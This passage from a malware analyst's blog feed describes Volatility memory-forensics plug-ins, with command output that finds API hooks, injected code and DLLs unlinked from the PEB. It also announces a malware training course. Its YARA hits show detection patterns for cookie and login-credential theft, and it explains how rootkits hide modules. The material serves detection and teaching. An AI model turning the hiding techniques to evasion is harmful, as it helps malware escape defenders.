hooks&lt;/li&gt;&lt;li&gt;          Detecting EAT hooks&lt;/li&gt;&lt;li&gt;          Detecting Inline API hooks&lt;/li&gt;&lt;li&gt;          Detecting Interrupt Descriptor Table (IDT) Hooks&lt;/li&gt;&lt;li&gt;          Detecting Driver IRP Hooks&lt;/li&gt;&lt;li&gt;          Detecting SSDT Hooks&lt;/li&gt;&lt;li&gt;          Automating Damn Near Everything with ssdt_ex&lt;/li&gt;&lt;li&gt;          Finding Rootkits with Detached Kernel Threads&lt;/li&gt;&lt;li&gt;          Identifying System-wide Notification Routines&lt;/li&gt;&lt;li&gt;         Locating Rogue Service Processes with svcscan&lt;/li&gt;&lt;li&gt;         Scanning for Mutex Objects with mutantscan&lt;/li&gt;&lt;/ul&gt;   Memory Forensics: Network and Registry&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Exploring Socket and Connection Objects&lt;/li&gt;&lt;li&gt;          Analyzing the Network Artifacts Left by Zeus&lt;/li&gt;&lt;li&gt;          Detecting Attempts to Hide TCP/IP Activity&lt;/li&gt;&lt;li&gt;          Detecting Raw Sockets and Promiscuous NICs&lt;/li&gt;&lt;li&gt;          Analyzing Registry Artifacts with Memory Registry Tools&lt;/li&gt;&lt;li&gt;          Sorting Keys by Last Written Timestamp&lt;/li&gt;&lt;li&gt;          Using Volatility with RegRipper&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-8170263521888280158?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/8170263521888280158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=8170263521888280158' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/8170263521888280158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/8170263521888280158'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2010/10/malware-analysts-cookbook-and-website.html' title='Malware Analyst&apos;s Cookbook and Website'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-5976759841546337923</id><published>2009-12-12T09:34:00.018-06:00</published><updated>2011-04-20T21:35:23.272-06:00</updated><title type='text'>New and Updated Volatility Plug-ins Part II</title><content type='html'>I just landed in Kuala Lumpur, Malaysia for a private &lt;a href="http://mnin.blogspot.com/2009/09/idefense-malware-training-in-nyc-and.html"&gt;iDefense Malware Analysis Course&lt;/a&gt;. On the 20 hour flight to this far, far away land where airport taxi drivers are fully-suited and have brand new Mercedes Benz, I did what any normal person would have done - update a Volatility plugin, watch a movie, take a nap, write a new Volatility plugin, watch a movie, take a nap, etc.&lt;br /&gt;&lt;br /&gt;First, I wanted to congratulate &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;AAron Walters&lt;/a&gt; and &lt;a href="http://www.cc.gatech.edu/%7Ebrendan/"&gt;Brendan Dolan-Gavitt&lt;/a&gt; for giving such an informative talk at the &lt;a href="http://taosecurity.blogspot.com/2009/12/thanks-for-great-incident-detection.html"&gt;Incident Detection Summit&lt;/a&gt; about the current and future direction of the Volatility project. Unfortunately I missed the entire conference, but according to a post on the &lt;a href="http://vrt-sourcefire.blogspot.com/2009/12/i-hope-youre-happy-bejtlichyou-cost-me.html"&gt;Sourcefire VRT blog&lt;/a&gt; and some &lt;a href="http://twitter.com/search?q=sansids"&gt;interesting Tweets&lt;/a&gt; from other attendees, it appears to have been a great time. It even made one person spoil his pants:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SyPFCN4KKpI/AAAAAAAABuY/5RehUyFWpGc/s1600-h/Snapz+Pro+XScreenSnapz001.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 150px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SyPFCN4KKpI/AAAAAAAABuY/5RehUyFWpGc/s320/Snapz+Pro+XScreenSnapz001.png" alt="" id="BLOGGER_PHOTO_ID_5414387818905086610" border="0" /&gt;&lt;/a&gt;Although this has never happened to me personally, I completely understand. My advice to &lt;a href="http://taosecurity.blogspot.com/"&gt;Bejtlich&lt;/a&gt; if he finds his way to this post is to organize the distribution of &lt;a href="http://www.charmin.com/en_US/wet-wipes-freshmates.php"&gt;Charmin Freshmates&lt;/a&gt; (they come in travel sizes too) along with the conference agendas in order to prevent serious disasters in the future.&lt;br /&gt;&lt;br /&gt;Well there's no easy way to flow from that topic to the next, so...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Number One:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The new version of malfind2 uses &lt;a href="http://code.google.com/p/yara-project/"&gt;YARA&lt;/a&gt; to scan all process memory, regardless of whether its classified as hidden/injected in the usual manner (i.e. VAD tags/permissions). Now you can find bad stuff in mapped files, loaded DLLs, or memory segments that the process allocated itself (i.e. not the result of another process calling VirtualAllocEx). All you need to do is create some YARA signatures and pass the path to your rules file on command line, like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;$ python volatility malfind2 -d out_dir -f zeus.vmem -y rules.yar&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;# alg.exe (Pid: 1320)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[!] Range: 0x006b0000 - 0x006d7fff (Tag: VadS, Protection: 0x18)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Dumping to out_dir/malfind.1320.6b0000-6d7fff.dmp&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;PE sections: [.odkx, .itiz, .ryd, .rsrc, ]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;YARA rule: passwords&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Hit: IE Cookies:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;0x006b1081   49 45 20 43 6f 6f 6b 69 65 73 3a 0a 00 00 00 4d    IE Cookies:....M&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;YARA rule: loginstrings&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Hit: &amp;amp;email=&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;0x006c7fa0   26 65 6d 61 69 6c 3d 00 62 74 6e 3d 00 00 00 00    &amp;amp;email=.btn=....&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;YARA rule: zbot&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Description: This is just an example&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Hit: =-=-PaNdA&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;0x006b1d20   3d 2d 3d 2d 50 61 4e 64 41 21 24 32 2b 29 28 2a    =-=-PaNdA!$2+)(*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can see in the last YARA hit that a description is available. This is making use of the new meta tags in YARA 1.3. Although malfind2 works great with YARA, pydasm, and pefile, it no longer requires anything besides the core Volatility files. I did this because some people have trouble installing Python modules on Windows for various reasons. If you're one of  those people and you've even read all the &lt;a href="http://code.google.com/p/volatility/wiki/DocFiles"&gt;new Volatility documentation&lt;/a&gt;, now you can still detect, dump, and see a hexdump preview of hidden/injected code segments. However, you'll suffer from lack of disassembly and strong pattern scanning (I once suffered from this and needed to be taken to the hospital!).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Number Two:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The older usermode_hooks.py and kernel_hooks.py plugins have been combined into a single plugin named apihooks.py. The usage is still basically the same:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;$ python volatility apihooks -d out_dir -f coreflood.vmem [-p PID]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Type     Process          PID    Hooked Module    Hooked Function                 From =&amp;gt; To/Instruction     Hooking Module&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;IAT      IEXPLORE.EXE     248    USERENV.dll      ADVAPI32.dll!RegSetValueExW     [0x769c11f8] =&amp;gt; 0x7ff82080  &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;IAT      IEXPLORE.EXE     248    USERENV.dll      KERNEL32.dll!LoadLibraryW       [0x769c12ac] =&amp;gt; 0x7ff82ac0         &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;IAT      IEXPLORE.EXE     248    USERENV.dll      KERNEL32.dll!CreateFileW        [0x769c12b8] =&amp;gt; 0x7ff82240         &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;IAT      IEXPLORE.EXE     248    USERENV.dll      KERNEL32.dll!GetProcAddress     [0x769c1380] =&amp;gt; 0x7ff82360      &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;IAT      IEXPLORE.EXE     248    USERENV.dll      KERNEL32.dll!LoadLibraryA       [0x769c138c] =&amp;gt; 0x7ff82a50 &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[...]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Total IAT hooks in user space: 287&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Total EAT hooks in user space: 0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Total INLINE hooks in user space: 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The output is much easier to read when its not pasted into a blog post, I promise. Basically it is showing that there are multiple IAT hooks inside the IEXPLORE.EXE process with Pid 248. In particular, the IAT entries in USERENV.dll which should be pointing at functions in KERNEL32.dll and ADVAPI32.dll are actually pointing at some memory in the 0x7ff82xxx range. Guess what tool you can use to dump that memory range?&lt;br /&gt;&lt;br /&gt;To scan kernel modules, just pass the -k flag, like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;$ python volatility apihooks -d out_dir -f skynet.vmem -k&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Type     Hooked Module     Hooked Function        From =&amp;gt; To/Instruction&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;INLINE   ntoskrnl.exe      IofCallDriver          0x804e37c5 =&amp;gt; jmp 0x8217f20b        &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;INLINE   ntoskrnl.exe      IofCompleteRequest     0x804e3bf6 =&amp;gt; jmp 0x820babc3        &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Total IAT hooks in kernel space: 0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Total EAT hooks in kernel space: 0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Total INLINE hooks in kernel space: 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Number Three:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A new plugin by the name of ldr_modules.py can detect unlinked LDR_MODULE entries. This is a technique implemented by &lt;a href="http://www.battleforums.com/forums/diablo-hacking/104427-cloakdll-cpp.html"&gt;CloakDll&lt;/a&gt;, &lt;a href="http://rootkit.com/board_project_fused.php?did=proj22"&gt;NtIllusion&lt;/a&gt;, and its also discussed with source code examples on an &lt;a href="http://www.openrce.org/blog/view/844/How_to_hide_dll"&gt;OpenRCE post&lt;/a&gt;. In short, the PEB for a process contains 3 doubly-linked lists containing the loaded modules in different orders (load order, memory order, initialization order). If you unlink a module from all 3 lists, it will essentially be hidden from tools like listdlls.exe, Process Explorer, Process Hacker, etc.&lt;br /&gt;&lt;br /&gt;When DLLs are loaded with LoadLibrary, they are essentially mapped into memory (see CreateFileMapping/MapViewOfFile) and this leaves a noteworthy artifact on the system, besides the 3 lists in the PEB. The VAD entry for the memory range where the DLL is loaded contains a CONTROL_AREA structure, and this contains a FILE_OBJECT structure that identifies the full path of the mapped file. The new ldr_modules.py plugin enumerates the base addresses for memory mapped executable files using the VAD API from Volatility and makes sure that there is a corresponding entry in the 3 lists of the PEB. If any are missing, it has probably been unlinked.&lt;br /&gt;&lt;br /&gt;There are two main arguments about using this method for detection. First, a rookit can use DKOM and directly overwrite the FILE_OBJECT struture after unlinking from the PEB. Then it will appear as if there is no memory mapped file. However, this would require a kernel rootkit rather than one that works completely in user mode, requiring more work on the attacker's part to produce reliable and portable code. Second, its possible to load DLLs into a process without using LoadLibrary (see &lt;a href="http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf"&gt;Reflective DLL Injection&lt;/a&gt;) which doesn't create a mapped file in the VAD or any entries in the PEB. However, as AAron Walters &lt;a href="http://volatility.tumblr.com/post/57441548/reflective-dll-injection"&gt;hinted a while back&lt;/a&gt;, it leaves various other artifacts that are easily detectable using malfind2.&lt;br /&gt;&lt;br /&gt;To test the plugin, I compiled a program called unlinker.exe that unlinks the 3 PEB entries for kernel32.dll. Although kernel32.dll isn't malicious, its fine for the demo. You can view the basic module counts for processes like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;$ python volatility ldr_modules -f unlinkedldr.bin&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Pid      Name                 PEB          nLoad    nMem     nInit    nMapped&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;248      smss.exe             0x7ffde000     2        2        1        2    &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;294      csrss.exe            0x7ffdf000     14       14       13       18   &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;2ac      winlogon.exe         0x7ffdd000     78       78       77       0    &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;2e0      services.exe         0x7ffdf000     26       26       25       26   &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;2ec      lsass.exe            0x7ffde000     58       58       57       0    &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;388      svchost.exe          0x7ffdb000     47       47       46       47   &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;3d8      svchost.exe          0x7ffdd000     38       38       37       38 &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[...]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;ac4      unlinker.exe         0x7ffd4000     2        2        1        3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here you can see that the LoadOrder list and MemoryOrder list both contain 2 entries. The InitOrder list contains 1 entry - but its normal for the InitOrder list to contain 1 less entry than the LoadOrder and MemoryOrder lists (the InitOrder does not contain the process EXE whereas the other two do). Then you see that there are 3 memory mapped executable files in unlinker.exe. What is the full path to the extra mapped executable file that isn't accounted for in the LoadOrder or MemoryOrder lists?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;$ python volatility ldr_modules -f unlinkedldr.bin -v&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;ac4      unlinker.exe         0x7ffd4000     2        2        1        3    &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;InLoadOrderModuleList&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;No.    Map?     Offset       Base         Size         Path&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[1   ] [x]      0x251ec0       0x400000       0x11000        C:\unlinker.exe&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[2   ] [x]      0x251f18       0x7c900000     0xb2000        C:\WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;InMemoryOrderModuleList&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;No.    Map?     Offset       Base         Size         Path&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[1   ] [x]      0x251ec8       0x400000       0x11000        C:\unlinker.exe&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[2   ] [x]      0x251f20       0x7c900000     0xb2000        C:\WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;InInitializationOrderModuleList&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;No.    Map?     Offset       Base         Size         Path&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[1   ] [x]      0x251f28       0x7c900000     0xb2000        C:\WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Mapped Files&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;No.    Load?  Mem?   Init?  0xBase         Name &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;font-size:85%;"  &gt;[   1] [x]    [x]    [ ]    0x400000       \unlinker.exe&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[   2] [x]    [x]    [x]    0x7c900000     \WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;font-size:85%;"  &gt;[   3] [ ]    [ ]    [ ]    0x7c800000     \WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With the verbose output (-v flag), you can list the individual modules along with their base addresses and sizes. Each of the 3 lists contain a checkbox in the Map column which indicates if the DLL is a memory mapped file or not (they all should be). The most interesting output is in the Mapped Files section where it shows which mapped files exist in the 3 PEB lists. For the EXE itself (\unlinker.exe), its missing an 'x' for the InitOrder list, but as we said before - this is normal. For kernel32.dll, its missing an 'x' in all 3 lists, and that's how we know its been unlinked.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change Number Four:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the future when I change or release new plugins, they will be included in a single download called &lt;a href="http://mhl-malware-scripts.googlecode.com/files/vap-0.1.zip"&gt;Volatility Analyst Pack&lt;/a&gt;. Right now it contains malfind2, ldr_modules, apihooks, idt, driverirp, and orphan_threads. The older downloads are still available in the deprecated section of the Google Code repository.&lt;br /&gt;&lt;br /&gt;Please let me know if you have suggestions for improvement or run into any issues using the plugins.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-5976759841546337923?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/5976759841546337923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=5976759841546337923' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5976759841546337923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5976759841546337923'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/12/new-and-updated-volatility-plug-ins.html' title='New and Updated Volatility Plug-ins Part II'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jAVGHwajDek/SyPFCN4KKpI/AAAAAAAABuY/5RehUyFWpGc/s72-c/Snapz+Pro+XScreenSnapz001.png' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-6686744934296410888</id><published>2009-09-03T12:10:00.006-06:00</published><updated>2009-09-03T16:10:26.073-06:00</updated><title type='text'>iDefense Malware Training in NYC and London</title><content type='html'>I would like to announce the next two dates for &lt;a href="http://labs.idefense.com/"&gt;iDefense&lt;/a&gt; malware training courses:&lt;br /&gt;&lt;br /&gt;September 23 - 25 2009 (9am to 5pm) NYC&lt;br /&gt;October 28-30 2009 (9am to 5pm) London&lt;br /&gt;&lt;br /&gt;The cost is $3500/person. You'll get lots of hands-on technical training from myself and &lt;a href="http://nnl-labs.com/"&gt;Greg Sinclair&lt;/a&gt;. As a pre-requisite, you should complete &lt;a href="http://www.giac.org/certifications/security/grem.php"&gt;SANS GREM&lt;/a&gt; or a course of similar quality, or have 1-2 years experience with malware analysis. It would really help if you had your own license for IDA Pro (otherwise you can use the trial/limited 4.9 version), however almost all of the tools we use are free, very inexpensive, or home-made.&lt;br /&gt;&lt;br /&gt;Here is a high-level description of the topics. If you want a more detailed agenda, or any other information about the course, please email me: michael (dot) ligh @ mnin (dot) org.&lt;br /&gt;&lt;br /&gt;* Windows internals for reverse engineers&lt;br /&gt;* Low level programming (reading/writing assembly)&lt;br /&gt;* High level programming (Native and Win32 API, driver development, Python)&lt;br /&gt;* Analyzing non-executable files (Javascript, MS Office documents, PDF, Flash)&lt;br /&gt;* Dynamic analysis (Change detection, building a custom API monitor, pcap inspection)&lt;br /&gt;* Static analysis (PE/COFF, working with IDA and plug-ins)&lt;br /&gt;* Using a debugger to analyze malware (user programs with Immunity Debugger and kernel drivers with WinDbg)&lt;br /&gt;* Packing and unpacking (dump and rebuild exes/dlls packed with both common and custom packers)&lt;br /&gt;* Anti-RCE (ways to defeat debugger detection, VM detection, Emu detection)&lt;br /&gt;* Code injection and rootkits (10+ injection techniques w/ source code, user mode rootkits, kernel mode rootkits)&lt;br /&gt;* Stealth malware (methods to hide on disk, memory, and network - plus how to detect)&lt;br /&gt;* Analyzing info stealers (HTML injection, key logging, password/credential theft)&lt;br /&gt;* Memory forensics (hunting malware in memory, extending Volatility, case studies with new tools)&lt;br /&gt;* Scripting debuggers (decrypting strings, computing CnC hostnames, decrypting configurations)&lt;br /&gt;* Analyzing VB and Delphi malware&lt;br /&gt;&lt;br /&gt;Also, just so you know, here are some topics that the class does NOT teach:&lt;br /&gt;&lt;br /&gt;* OSX/Unix malware&lt;br /&gt;* Mobile malware&lt;br /&gt;* Hardware/firmware rootkits&lt;br /&gt;* Investigating IPs, domains, etc&lt;br /&gt;&lt;br /&gt;We will study specific families of malware (CoreFlood, Mebroot, Zeus, Laqma, Silent Banker, Kraken, Waledac, Gozi, Limbo, Tigger, and Conficker to name a few), as well as generic malware of Chinese descent and several home-made trojans that we built to demonstrate certain things.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-6686744934296410888?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/6686744934296410888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=6686744934296410888' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6686744934296410888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6686744934296410888'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/09/idefense-malware-training-in-nyc-and.html' title='iDefense Malware Training in NYC and London'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-3477693220401716970</id><published>2009-08-01T14:17:00.007-06:00</published><updated>2009-08-01T19:04:53.978-06:00</updated><title type='text'>Making Fun of Your Malware</title><content type='html'>The slides from my talk with Matt Richard at Defcon 17 &lt;a href="http://mhl-malware-scripts.googlecode.com/files/Making%20fun%20of%20your%20malware.pdf"&gt;have now been posted online&lt;/a&gt;. Unfortunately, its not one of those slide decks that you can just read and get the full benefit of the talk. If you missed it and want to LOL, wait for the audio/video to be released.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try 